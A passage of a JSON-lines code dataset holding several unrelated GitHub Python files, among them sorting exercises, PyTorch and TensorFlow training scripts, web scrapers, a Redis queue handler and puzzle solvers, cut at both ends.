3:\r\n exercicio.bubble_sort(data)\r\n else:\r\n print(\"Opção Inválida, Por favor digite uma opção válida!\")\r\n exercicio.menuLista()\r\n\r\n def selectionSort(array, size):\r\n for step in range(size):\r\n min_idx = step\r\n for i in range(step + 1, size):\r\n if array[i] < array[min_idx]:\r\n min_idx = i\r\n (array[step], array[min_idx]) = (array[min_idx], array[step])\r\n\r\n\r\n def insertion_sort(array):\r\n\r\n for index in range(1, len(array)):\r\n currentValue = array[index]\r\n currentPosition = index\r\n\r\n while currentPosition > 0 and array[currentPosition - 1] > currentValue:\r\n array[currentPosition] = array[currentPosition -1]\r\n currentPosition = currentPosition - 1\r\n\r\n array[currentPosition] = currentValue\r\n\r\n def bubble_sort(lista):\r\n elementos = len(lista) - 1\r\n ordenado = False\r\n while not ordenado:\r\n ordenado = True\r\n for i in range(elementos):\r\n if lista[i] > lista[i + 1]:\r\n lista[i], lista[i + 1] = lista[i + 1], lista[i]\r\n ordenado = False\r\n print(lista)\r\n return lista\r\n\r\nexer = exercicio()\r\nexer.menuLista()\r\n\r\n","repo_name":"Pontes/python","sub_path":"28-09-2021/exercicio.py","file_name":"exercicio.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2228896744","text":"import os\nimport torch\nimport argparse\nfrom torch import optim\nfrom torchvision.utils import save_image\nfrom torch.utils.tensorboard import SummaryWriter\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nfrom sparse_vae import SparseVAE\n\nimport sys\nsys.path.append(\".\")\nsys.path.append(\"..\")\nfrom utils import save_\nfrom load_data import prepare_data_mnist\n\n\nglobal_conf = {}\n\n\ndef parse_args():\n \"\"\"parse command line arguments\"\"\"\n desc = \"Implementation of Sparse VAE based on pytorch, using MNIST dataset\"\n parser = argparse.ArgumentParser(description=desc)\n\n parser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='batch size for training (default 64)')\n parser.add_argument('--epochs', type=int, default=20, metavar='N',\n help='number of epochs to train (default 20)')\n parser.add_argument('--no-cuda', action='store_true', default=False,\n help='disable CUDA training')\n parser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default 1)')\n parser.add_argument('--log-interval', type=int, default=10, metavar='N',\n help='interval between logging training status (default 10)')\n parser.add_argument('--hidden-sizes', nargs='+', type=int, default=[400], metavar='N',\n help='numbers of hidden units for each layer in MLP (default [400])')\n parser.add_argument('--dim-z', type=int, default=100, metavar='N',\n help='dimension of latent space (default 100)')\n parser.add_argument('--alpha', type=float, default=0.5, metavar=':math: `\\\\alpha`',\n help='prior sparsity (0-1) (default 0.5)')\n parser.add_argument('--delta-c', type=float, default=1e-3, metavar=':math: `\\\\delta c`',\n help='increasing rate of c (updated per epoch) (default 1e-3)')\n parser.add_argument('--lr', type=float, default=1e-3, metavar='LR',\n help='learning rate of optimizer (default 1e-3)')\n parser.add_argument('--save', action='store_true', default=False,\n help='save the model (under the checkpoints path (defined in config))')\n parser.add_argument('--tag', type=str, default=None, metavar='T',\n help='tag string for the save model file name (default None (no tag))')\n\n args = parser.parse_args()\n args.cuda = not args.no_cuda and torch.cuda.is_available()\n args.hidden_sizes = args.hidden_sizes if hasattr(args.hidden_sizes, '__len__') \\\n else [args.hidden_sizes]\n\n return args\n\n\ndef configuration(args):\n \"\"\"set global configuration for initialization\"\"\"\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed(args.seed)\n\n global_conf['device'] = torch.device(\"cuda\" if args.cuda else \"cpu\")\n global_conf['image_size'] = (28, 28)\n global_conf['data_dir'] = os.path.join(os.path.dirname(__file__), '../data')\n global_conf['res_dir'] = os.path.join(os.path.dirname(__file__), './results')\n global_conf['checkpoints_dir'] = os.path.join(os.path.dirname(__file__), './checkpoints')\n\n\ndef prepare_data(args, dir_path, shuffle=True):\n \"\"\"prepare data for training and testing\"\"\"\n kwargs = {'num_workers': 1, 'pin_memory': True} if args.cuda else {}\n train_loader = prepare_data_mnist(\n args.batch_size, dir_path, train=True, shuffle=shuffle, **kwargs)\n test_loader = prepare_data_mnist(\n args.batch_size, dir_path, train=False, shuffle=shuffle, **kwargs)\n\n return train_loader, test_loader\n\n\ndef train(model, train_loader, epoch, optimizer, args, device, img_size, writer):\n \"\"\"VAE training process\"\"\"\n model.train()\n train_loss = 0\n\n for batch_idx, (data, _) in enumerate(train_loader):\n data = data.to(device)\n optimizer.zero_grad()\n decoded, encoded = model(data.view(-1, img_size[0]*img_size[1]))\n losses = model.loss_function(\n decoded, data.view(-1, img_size[0]*img_size[1]), encoded)\n for l in losses.keys():\n writer.add_scalar(l, losses[l])\n loss = losses['loss']\n loss.backward()\n train_loss += loss.item()\n optimizer.step()\n\n if batch_idx % args.log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tloss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader),\n loss.item()\n ))\n\n avg_loss = train_loss / len(train_loader.dataset) * args.batch_size\n print('=====> Epoch: {} Average loss: {:.4f}'.format(\n epoch, avg_loss\n ))\n\n return avg_loss\n\n\ndef test(model, test_loader, epoch, args, device, img_size, res_dir):\n \"\"\"VAE testing process\"\"\"\n model.eval()\n test_loss = 0\n with torch.no_grad():\n for i, (data, _) in enumerate(test_loader):\n data = data.to(device)\n decoded, encoded = model(data.view(-1, img_size[0]*img_size[1]))\n losses = model.loss_function(\n decoded, data.view(-1, img_size[0]*img_size[1]), encoded)\n test_loss += losses['loss'].item()\n\n if i == 0:\n recon_batch = model.reconstruct(\n data.view(-1, img_size[0]*img_size[1]))\n n = min(data.size(0), 8)\n comparison = torch.cat([data[:n], recon_batch.view(\n args.batch_size, 1, img_size[0], img_size[1])[:n]])\n save_image(comparison.cpu(), res_dir +\n '/reconstruction_'+str(epoch)+'.png', nrow=n)\n\n test_loss = test_loss / len(test_loader.dataset) * args.batch_size\n print('=====> Test set loss: {:.4f}'.format(test_loss))\n\n\ndef main(args):\n \"\"\"main procedure\"\"\"\n # get configuration\n device = global_conf[\"device\"]\n img_size = global_conf[\"image_size\"]\n data_dir = global_conf[\"data_dir\"]\n res_dir = global_conf[\"res_dir\"]\n save_dir = global_conf[\"checkpoints_dir\"]\n\n # prepare data\n train_loader, test_loader = prepare_data(args, dir_path=data_dir)\n\n # prepare model\n model = SparseVAE(img_size[0]*img_size[1], args.hidden_sizes,\n args.dim_z, args.alpha)\n optimizer = optim.Adam(model.parameters(), lr=args.lr)\n\n # summary writer\n writer = SummaryWriter(comment='sparseVAE')\n writer.add_graph(model, torch.zeros(1, img_size[0]*img_size[1]))\n\n # train and test\n losses = []\n for epoch in range(1, args.epochs+1):\n loss = train(model, train_loader, epoch,\n optimizer, args, device, img_size, writer)\n losses.append(loss)\n test(model, test_loader, epoch, args, device, img_size, res_dir)\n with torch.no_grad():\n sample = model.sample(64, device).cpu()\n save_image(sample.view(\n 64, 1, img_size[0], img_size[1]), res_dir+'/sample_'+str(epoch)+'.png')\n\n # update c\n model.update_epoch(args.delta_c)\n\n # plot train losses\n plt.xlabel('Epoch')\n plt.ylabel('Loss')\n plt.plot(losses)\n plt.savefig(res_dir+'/loss.png')\n\n # save the model and related params\n if args.save:\n save_dir = os.path.join(save_dir, 'mnist')\n save_(model, save_dir, args, global_conf, extra={\"model_c\": model.c}, comment=args.tag)\n\n\nif __name__ == '__main__':\n args = parse_args()\n configuration(args)\n\n main(args)\n","repo_name":"wz139704646/VAEImplementation","sub_path":"sparseVAE/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"38653221037","text":"import json\nimport time\nclass Match:\n def __init__(self, uid, driver):\n self.uid = uid\n self.driver = driver\n\n def getAllPlayers(self):\n allPlayers = []\n\n self.driver.get(\"https://api.tracker.gg/api/v2/valorant/standard/matches/\"+ self.uid) \n jsonXpath = self.driver.find_element(\"xpath\",\"/html/body/pre\")\n \n data = json.loads(jsonXpath.text)\n\n count = 0\n for x in range(len(data[\"data\"][\"segments\"])):\n if data[\"data\"][\"segments\"][x][\"type\"] == \"player-round\":\n allPlayers.append(data[\"data\"][\"segments\"][x][\"attributes\"][\"platformUserIdentifier\"])\n count+=1\n if count >= 10:\n break\n return allPlayers\n\nfrom selenium import webdriver\n\ndriver = webdriver.Chrome('Tools/chromedriver')\nmatch = Match(\"65d8be75-b7fa-49d4-a8ce-d80d63876e9c\", driver)\nprint(match.getAllPlayers())\n \n\n\n \n ","repo_name":"alecrmeyer/valmine","sub_path":"Web Scraping/Match.py","file_name":"Match.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"69848494777","text":"import os\n# Disable Tensorflow device information logging\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nimport tqdm\nimport argparse\nimport tensorflow as tf\nfrom tensorflow import keras as K\n\nfrom data_kits import dataloader_mnist\nfrom networks import minicnn\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"mode\", type=str, choices=[\"train\", \"test\"])\n args = parser.parse_args()\n return args\n\n\nclass Trainer(object):\n def __init__(self, config):\n # Hyper parameters\n self.mode = config.mode\n self.total_epochs = 5\n self.batch_size = 32\n\n # Limit GPU memory usage first.\n self.config_gpu()\n\n self.model = minicnn.mini_cnn(name=\"MiniCNN\")\n self.criterion = K.losses.SparseCategoricalCrossentropy()\n\n if self.mode == \"train\":\n self.tr_wrapper = dataloader_mnist.dataset(\"./\", train_flag=True, batch_size=self.batch_size)\n self.optimizer = K.optimizers.Adam(learning_rate=0.001)\n # Define accumulators\n self.train_loss_accu = K.metrics.Mean(name=\"train_loss\")\n self.train_acc_accu = K.metrics.SparseCategoricalAccuracy(name=\"train_acc\")\n else:\n self.tr_wrapper = None\n self.optimizer = None\n self.train_loss_accu = None\n self.train_acc_accu = None\n\n # Construct test/validation dataset\n self.val_wrapper = dataloader_mnist.dataset(\"./\", train_flag=False, batch_size=self.batch_size)\n self.val_loss_accu = K.metrics.Mean(name=\"val_loss\")\n self.val_acc_accu = K.metrics.SparseCategoricalAccuracy(name=\"val_acc\")\n\n @staticmethod\n def config_gpu():\n gpus = tf.config.experimental.list_physical_devices('GPU')\n if gpus:\n try:\n # Currently, memory growth needs to be the same across GPUs\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n logical_gpus = tf.config.experimental.list_logical_devices('GPU')\n print(len(gpus), \"Physical GPUs,\", len(logical_gpus), \"Logical GPUs\")\n except RuntimeError as e:\n # Memory growth must be set before GPUs have been initialized\n print(e)\n\n def reset_accu(self):\n if self.mode == \"train\":\n self.train_loss_accu.reset_states()\n self.train_acc_accu.reset_states()\n self.val_loss_accu.reset_states()\n self.val_acc_accu.reset_states()\n\n @tf.function\n def train_step(self, images, labels):\n with tf.GradientTape() as tape:\n pred = self.model(images)\n loss = self.criterion(labels, pred)\n gradients = tape.gradient(loss, self.model.trainable_variables)\n self.optimizer.apply_gradients(zip(gradients, self.model.trainable_variables))\n\n self.train_loss_accu(loss)\n self.train_acc_accu(labels, pred)\n\n @tf.function\n def test_step(self, images, labels):\n pred = self.model(images)\n loss = self.criterion(labels, pred)\n\n self.val_loss_accu(loss)\n self.val_acc_accu(labels, pred)\n\n def train_epoch(self, epoch):\n print(\"Run training set (Epoch {}/{}) ...\".format(epoch, self.total_epochs))\n for images, labels in tqdm.tqdm(self.tr_wrapper[\"train\"][\"data\"],\n total=self.tr_wrapper[\"train\"][\"size\"] // self.batch_size):\n self.train_step(images, labels)\n print(\"Run validation set ...\")\n for images, labels in tqdm.tqdm(self.val_wrapper[\"test\"][\"data\"],\n total=self.val_wrapper[\"test\"][\"size\"] // self.batch_size):\n self.test_step(images, labels)\n\n str_ = 'Epoch {}/{}, Loss: {:.3f}, Accuracy: {:.3f}, Test Loss: {:.3f}, Test Accuracy: {:.3f}'\n print(str_.format(epoch,\n self.total_epochs,\n self.train_loss_accu.result(),\n self.train_acc_accu.result(),\n self.val_loss_accu.result(),\n self.val_acc_accu.result()))\n\n def train(self):\n for epoch in range(self.total_epochs):\n self.train_epoch(epoch + 1)\n self.reset_accu()\n self.model.save_weights(\"./model_dir/minicnn/model.ckpt\", save_format=\"tf\")\n\n def test(self):\n self.model.load_weights(\"./model_dir/minicnn/model.ckpt\")\n print(\"Load model from ./model_dir/minicnn/model.ckpt\")\n\n for images, labels in tqdm.tqdm(self.val_wrapper[\"test\"][\"data\"],\n total=self.val_wrapper[\"test\"][\"size\"] // self.batch_size):\n self.test_step(images, labels)\n\n str_ = 'Test Loss: {:.3f}, Test Accuracy: {:.3f}'\n print(str_.format(self.val_loss_accu.result(), self.val_acc_accu.result()))\n\n def exec(self):\n if self.mode == \"train\":\n self.train()\n else:\n self.test()\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n h = Trainer(args)\n h.exec()\n","repo_name":"Jarvis73/DeepCNN-TF2","sub_path":"main_custom.py","file_name":"main_custom.py","file_ext":"py","file_size_in_byte":5092,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"39155990193","text":"import os\nimport re\n\ndirname = os.path.dirname(__file__)\nfile = open(dirname+\"/input_data.txt\", \"r\")\n\nlist = [row.strip() for row in file.readlines()]\n\npreamble_lenght = 25\n# preamble = [list[i] for i in range(preamble_lenght)]\n# list_edited = [line for i, line in enumerate(list) if i >= preamble_lenght]\n\nclass Validate():\n\n def __init__(self):\n self.preamble = [int(list[i]) for i in range(preamble_lenght)]\n self.code = [int(line) for i, line in enumerate(list) if i >= preamble_lenght]\n\n def run(self):\n for entry in self.code:\n if not self.condition(entry):\n print('Found a value of {} which is not allowed'.format(entry))\n return\n\n self.preamble.pop(0)\n self.preamble.append(entry)\n print('Validated, all seems fine.')\n\n def condition(self, value):\n allowed_values = self.get_all_additions(self.preamble)\n if value not in allowed_values:\n return False\n return True\n\n def get_all_additions(self, numbers):\n used_numbers = []\n additions = []\n for num in numbers:\n for pnum in used_numbers:\n addition = num + pnum\n if addition not in additions:\n additions.append(addition)\n used_numbers.append(num)\n\n return additions\n\n\nValidate().run()\n","repo_name":"makah21803/Advent_of_code","sub_path":"2020/day9/day9_basic.py","file_name":"day9_basic.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"10037832242","text":"from bs4 import BeautifulSoup\nimport pip._vendor.requests as reqer\n\n\nclass HtmlParserHelper:\n def __init__(self, url):\n self.url = url\n\n def GetContentByUrl(self, url=\"\"):\n reqUrl = url if url != \"\" else self.url\n htmlResult = reqer.get(reqUrl)\n return BeautifulSoup(htmlResult.content)\n\n def GetElements(self):\n source = self.GetContentByUrl()\n return source.select('a[class=\"event-item-wrapper event-item-link\"]')\n\n def GetPelementFromHref(self, url):\n source = self.GetContentByUrl(url)\n return source.find(\n \"p\",\n attrs={\n \"class\": \"race-weekend-dates f1-color--white f1-bg--carbonBlack f1--xxs\"\n },\n )\n","repo_name":"thaldi/f1CalenderNotify","sub_path":"HtmlHelper.py","file_name":"HtmlHelper.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"2162039399","text":"import json\nimport requests\nfrom django.http.response import HttpResponse\n\n\ndef giphy_remote(request):\n response_text = \"\"\n dict = {}\n args = request.body.split('&')\n\n for arg in args:\n arg_tmp = arg.split('=')\n dict[arg_tmp[0]] = arg_tmp[1]\n\n keywords = dict.get('text', None)\n if keywords:\n response_text = \"/giphy %s \\n\\n ![alt text](%s \\\"%s\\\")\" % (keywords, query_giphy_api(keywords), keywords)\n\n json_data = {\n \"response_type\": \"in_channel\",\n 'text': response_text,\n }\n\n json_dump = json.dumps(json_data)\n return HttpResponse(json_dump)\n\n\ndef query_giphy_api(keywords):\n url = \"http://api.giphy.com/v1/gifs/random?api_key=dc6zaTOxFJmzC&tag=%s\" % keywords\n r = requests.get(url)\n dict = json.loads(r.text)\n data = dict.get('data', None)\n if data:\n return data.get('image_original_url', None)\n return None","repo_name":"domenikjones/mm-hub","sub_path":"commands/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"71935201336","text":"# function of finding duplicate number in time compexity of order n:\r\ndef duplicate_n_ord(arr): # input is a array of number.\r\n \r\n for i in arr:\r\n if(arr.count(i)==2): # using count fun check its duplicate or not.\r\n return i # return duplicate value.\r\n break # After finding duplicate break the loop.\r\n\r\n\r\nprint(\"duplicate num in arr is\", duplicate_n_ord([12,2,45,5,67,4,9,88,65,45,33]))\r\n","repo_name":"31032004aditya/ATULYA","sub_path":"question12.py","file_name":"question12.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37621291301","text":"# String\nmy_string = \"My favorite number is 25\"\n\n# Integer\nmy_integer = 123\n\n# Boolean\nmy_boolean = True\n\n# Array\n# 0 1 2 3 4 5 6 7\nmy_array = [123, \"some string\", False, 12, 12, 12, 12, 12]\n\n# Object\nmy_object = {\n \"key\": \"value\",\n \"key2\": 234,\n \"key3\": False\n}\n\n#print(my_string)\n#print(my_integer)\n#print(my_boolean)\n#print(my_array[0])\nprint(my_object[\"key2\"])\n\n","repo_name":"zachgoll/how-to-code-1-hour-crash-course","sub_path":"source-code/loosely-typed.py","file_name":"loosely-typed.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"34742348306","text":"from search import *\n\n\ndef search_first_guess(dict_subset: dict[str: list[list[str]]]) -> (list[(str, float)],\n dict[str: dict[str: list[list[str]]]]):\n max_entropy = 0.\n max_entropy_vocab = {}\n guess_entropy_dict = {}\n for guess in dict_subset:\n grouped, entropy = evaluate_guess(guess, dict_subset)\n guess_entropy_dict[guess] = entropy\n if entropy >= max_entropy:\n max_entropy = entropy\n max_entropy_vocab = grouped\n sorted_guess_entropy_list = sorted(guess_entropy_dict.items(), key=lambda x: x[1], reverse=True)\n return sorted_guess_entropy_list, max_entropy_vocab\n\n\nif __name__ == \"__main__\":\n sorted_guess, guess_vocab = search_first_guess(idiom_dict)\n with open(\"../data/first_guess.txt\", \"w\") as guess_file:\n for idiom, value in sorted_guess:\n guess_file.write(\"{},{}\\n\".format(idiom, value))\n with open(\"../data/first_guess_vocab.pkl\", \"wb\") as guess_vocab_file:\n pickle.dump(guess_vocab, guess_vocab_file)\n print(sorted_guess[:10])\n","repo_name":"T0ny8576/handle-solver","sub_path":"src/make_first_guess.py","file_name":"make_first_guess.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"73866397815","text":"import redis\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nREDIS_HOST = os.getenv(\"REDIS_HOST\")\nREDIS_PORT = int(os.getenv(\"REDIS_PORT\"))\nREDIS_DB = int(os.getenv(\"REDIS_DB\"))\n\nPROCESSING_QUEUE = os.getenv(\"PROCESSING_QUEUE\")\nEXPIRATION_FOR_OUTPUT = int(os.getenv(\"EXPIRATION_FOR_OUTPUT\"))\n\n\nclass RedisHandler:\n def __init__(self):\n \"\"\"\n Initializes a RedisHandler object.\n\n The RedisHandler class provides methods to interact with a Redis server,\n including enqueueing and dequeueing messages, acknowledging processed messages,\n and setting output values associated with IDs.\n\n The Redis connection details are obtained from the following environment variables:\n - REDIS_HOST: Redis server hostname or IP address.\n - REDIS_PORT: Redis server port.\n - REDIS_DB: Redis database index to use.\n\n The processing queue name is set to PROCESSING_QUEUE.\n\n Raises:\n redis.exceptions.RedisError: If there is an error connecting to the Redis server.\n \"\"\"\n self.client = redis.Redis(\n host=REDIS_HOST, port=REDIS_PORT, db=REDIS_DB, decode_responses=True\n )\n self.queue_name = PROCESSING_QUEUE\n\n def enqueue(self, message):\n \"\"\"\n Enqueues a message into the processing queue.\n\n Args:\n message (str): The message to enqueue.\n\n Raises:\n redis.exceptions.RedisError: If there is an error communicating with the Redis server.\n \"\"\"\n self.client.rpush(self.queue_name, message)\n\n def dequeue(self):\n \"\"\"\n Dequeues a message from the processing queue.\n\n Returns:\n str: The dequeued message.\n\n Raises:\n redis.exceptions.RedisError: If there is an error communicating with the Redis server.\n \"\"\"\n message = self.client.lmove(\n self.queue_name, self.queue_name, src=\"LEFT\", dest=\"RIGHT\"\n )\n return message\n\n def acknowledge(self, message):\n \"\"\"\n Acknowledges a processed message and removes it from the processing queue.\n\n Args:\n message (str): The message to acknowledge and remove.\n\n Raises:\n redis.exceptions.RedisError: If there is an error communicating with the Redis server.\n \"\"\"\n self.client.lrem(self.queue_name, 0, message)\n\n def set_output(self, id, output):\n \"\"\"\n Sets the output value associated with an ID and a expiration in Redis.\n\n Args:\n id (str): The ID to set the output for.\n output (str): The output value to set.\n\n Raises:\n redis.exceptions.RedisError: If there is an error communicating with the Redis server.\n \"\"\"\n self.client.set(name=id, value=output)\n self.client.expire(name=id, time=EXPIRATION_FOR_OUTPUT)\n","repo_name":"rukaiyafahmida/upload-worker","sub_path":"worker/redis_function.py","file_name":"redis_function.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"35880522275","text":"import torch\nimport random\nimport argparse\nimport numpy as np\nimport ipdb as pdb\nimport os, pwd, yaml\nimport pytorch_lightning as pl\nfrom torch.utils.data import DataLoader, random_split\nimport warnings\nwarnings.filterwarnings('ignore')\n\nfrom train_spline import pretrain_spline\nfrom ltcl.modules.srnn_cnn_kitti import SRNNConv\nfrom ltcl.tools.utils import load_yaml\nfrom ltcl.datasets.kitti import KittiMasksTwoSample\nfrom pytorch_lightning.callbacks.early_stopping import EarlyStopping\nfrom pytorch_lightning.callbacks import ModelCheckpoint\n\n\ndef main(args):\n\n assert args.exp is not None, \"FATAL: \"+__file__+\": You must specify an exp config file (e.g., *.yaml)\"\n\n current_user = pwd.getpwuid(os.getuid()).pw_name\n script_dir = os.path.dirname(__file__)\n rel_path = os.path.join('../ltcl/configs', \n '%s.yaml'%args.exp)\n abs_file_path = os.path.join(script_dir, rel_path)\n cfg = load_yaml(abs_file_path)\n print(\"######### Configuration #########\")\n print(yaml.dump(cfg, default_flow_style=False))\n print(\"#################################\")\n\n pl.seed_everything(args.seed)\n \n # Warm-start spline\n if cfg['SPLINE']['USE_WARM_START']:\n if not os.path.exists(cfg['SPLINE']['PATH']):\n print('Pretraining Spline Flow...', end=' ', flush=True)\n pretrain_spline(args.exp)\n print('Done!')\n\n data = KittiMasksTwoSample(path = os.path.join(cfg['ROOT'], cfg['DATASET']), \n transform = cfg['TRANSFORM'],\n max_delta_t = cfg['DT'])\n\n num_validation_samples = cfg['VAE']['N_VAL_SAMPLES']\n\n train_data, val_data = random_split(data, [len(data)-num_validation_samples, num_validation_samples])\n # Disable augmentation in validation set\n val_data.dataset.transform = None\n\n train_loader = DataLoader(train_data, \n batch_size=cfg['VAE']['TRAIN_BS'], \n pin_memory=cfg['VAE']['PIN'],\n num_workers=cfg['VAE']['CPU'],\n drop_last=True,\n shuffle=True)\n\n val_loader = DataLoader(val_data, \n batch_size=cfg['VAE']['VAL_BS'], \n pin_memory=cfg['VAE']['PIN'],\n num_workers=cfg['VAE']['CPU'],\n shuffle=False)\n\n model = SRNNConv(nc=cfg['VAE']['NC'],\n length=cfg['VAE']['LENGTH'],\n z_dim=cfg['VAE']['LATENT_DIM'], \n z_dim_trans=cfg['VAE']['CAUSAL_DIM'], \n lag=cfg['VAE']['LAG'],\n hidden_dim=cfg['VAE']['ENC']['HIDDEN_DIM'],\n trans_prior=cfg['VAE']['TRANS_PRIOR'],\n infer_mode=cfg['VAE']['INFER_MODE'],\n bound=cfg['SPLINE']['BOUND'],\n count_bins=cfg['SPLINE']['BINS'],\n order=cfg['SPLINE']['ORDER'],\n lr=cfg['VAE']['LR'],\n l1=cfg['VAE']['L1'],\n beta=cfg['VAE']['BETA'],\n gamma=cfg['VAE']['GAMMA'],\n sigma=cfg['VAE']['SIGMA'],\n bias=cfg['VAE']['BIAS'],\n use_warm_start=cfg['SPLINE']['USE_WARM_START'],\n spline_pth=cfg['SPLINE']['PATH'],\n decoder_dist=cfg['VAE']['DEC']['DIST'],\n correlation=cfg['MCC']['CORR'])\n\n log_dir = os.path.join(cfg[\"LOG\"], current_user, args.exp)\n\n checkpoint_callback = ModelCheckpoint(monitor='val_mcc', \n save_top_k=1, \n mode='max')\n\n # early_stop_callback = EarlyStopping(monitor=\"val_mcc\", \n # min_delta=0.00, \n # patience=50, \n # verbose=False, \n # mode=\"max\")\n \n trainer = pl.Trainer(default_root_dir=log_dir,\n gpus=cfg['VAE']['GPU'], \n val_check_interval = cfg['MCC']['FREQ'],\n max_epochs=cfg['VAE']['EPOCHS'],\n deterministic=True,\n callbacks=[checkpoint_callback])\n\n # Train the model\n trainer.fit(model, train_loader, val_loader)\n \nif __name__ == \"__main__\":\n\n argparser = argparse.ArgumentParser(description=__doc__)\n argparser.add_argument(\n '-e',\n '--exp',\n type=str\n )\n argparser.add_argument(\n '-s',\n '--seed',\n type=int,\n default=770\n )\n args = argparser.parse_args()\n main(args)\n","repo_name":"anonymous-authors-iclr2022-481/leap","sub_path":"scripts/train_kitti_mask.py","file_name":"train_kitti_mask.py","file_ext":"py","file_size_in_byte":4842,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"22"} +{"seq_id":"28388520064","text":"#!/usr/bin/env python3\r\n\r\nimport math\r\n\r\nif __name__ == \"__main__\":\r\n\tnetfile = input(\"name of neural network file: \")\r\n\ttestfile = input(\"name of test set file: \")\r\n\tresfile = input(\"name of results file: \")\r\n\r\n\tf = open(netfile)\r\n\t[ni,nh,no]=[int(s) for s in f.readline().split(' ')]\r\n\twh = []\r\n\tfor _ in range(nh):\r\n\t\twh.append([float(s) for s in f.readline().split(' ')])\r\n\two = []\r\n\tfor _ in range(no):\r\n\t\two.append([float(s) for s in f.readline().split(' ')])\r\n\tf.close()\r\n\t\r\n\tf = open(testfile)\r\n\t[nt,ni,no]=[int(s) for s in f.readline().split(' ')]\r\n\tA = [0 for _ in range(no)]\r\n\tB = [0 for _ in range(no)]\r\n\tC = [0 for _ in range(no)]\r\n\tD = [0 for _ in range(no)]\r\n\tacc = [0 for _ in range(no)]\r\n\tpre = [0 for _ in range(no)]\r\n\trec = [0 for _ in range(no)]\r\n\tfor _ in range(nt):\r\n\t\tline = f.readline().split(' ')\r\n\t\ta1 = [float(s) for s in line[:ni]]\r\n\t\ty = [int(s) for s in line[ni:]]\r\n\t\ta2 = []\r\n\t\tfor i in range(nh):\r\n\t\t\ta2.append(1/(1+math.exp(-sum(w*a for w,a in zip(wh[i],[-1]+a1)))))\r\n\t\ta3 = []\r\n\t\tfor i in range(no):\r\n\t\t\taj = 0 if 1/(1+math.exp(-sum(w*a for w,a in zip(wo[i],[-1]+a2)))) < 0.5 else 1 #round() doesn't work here because it rounds .5 to even.\r\n\t\t\tif aj and y[i]:\r\n\t\t\t\tA[i]+=1\r\n\t\t\telif aj and not y[i]:\r\n\t\t\t\tB[i]+=1\r\n\t\t\telif not aj and y[i]:\r\n\t\t\t\tC[i]+=1\r\n\t\t\telse:\r\n\t\t\t\tD[i]+=1\r\n\tf.close()\r\n\t\r\n\tTotAcc=TotPre=TotRec=0\r\n\tf = open(resfile,\"wt\")\r\n\tfor i in range(no):\r\n\t\tacc = (A[i]+D[i])/(A[i]+B[i]+C[i]+D[i])\r\n\t\tpre = A[i]/(A[i]+B[i])\r\n\t\trec = A[i]/(A[i]+C[i])\r\n\t\tf1 = (2*pre*rec)/(pre+rec)\r\n\t\t[TotAcc,TotPre,TotRec]=[i+j for i,j in zip([TotAcc,TotPre,TotRec],[acc,pre,rec])]\r\n\t\tf.write((\" \".join(f'{metric}' for metric in [A[i],B[i],C[i],D[i]])+' '))\r\n\t\tf.write((\" \".join(f'{metric:.3f}' for metric in [acc,pre,rec,f1])+'\\n'))\r\n\tmicacc = (sum(A)+sum(D))/(sum(A)+sum(B)+sum(C)+sum(D))\r\n\tmicpre = sum(A)/(sum(A)+sum(B))\r\n\tmicrec = sum(A)/(sum(A)+sum(C))\r\n\tmicf1 = (2*micpre*micrec)/(micpre+micrec)\r\n\tf.write((\" \".join(f'{metric:.3f}' for metric in [micacc,micpre,micrec,micf1])+'\\n'))\r\n\tf.write((\" \".join(f'{metric:.3f}' for metric in [TotAcc/no,TotPre/no,TotRec/no,(2*TotPre*TotRec/no)/(TotPre+TotRec)])+'\\n'))\r\n\tf.close()","repo_name":"ibid-11962/neural-network","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"75082430455","text":"import wikipedia\nimport concurrent.futures\n\nnot_done = True\n\n\ndef main():\n # Searching for first page\n try:\n first_page = input(\"First Page Title: \")\n first_page_title = wikipedia.search(\n first_page, results=1, suggestion=False)[0]\n print(\"--> Found: '\" + first_page_title + \"'\")\n except:\n print(\"Invalid search query! Try again.\")\n main()\n\n # Searching for second page\n try:\n second_page = input(\"Second Page Title: \")\n second_page_title = wikipedia.search(\n second_page, results=1, suggestion=False)[0]\n print(\"--> Found: 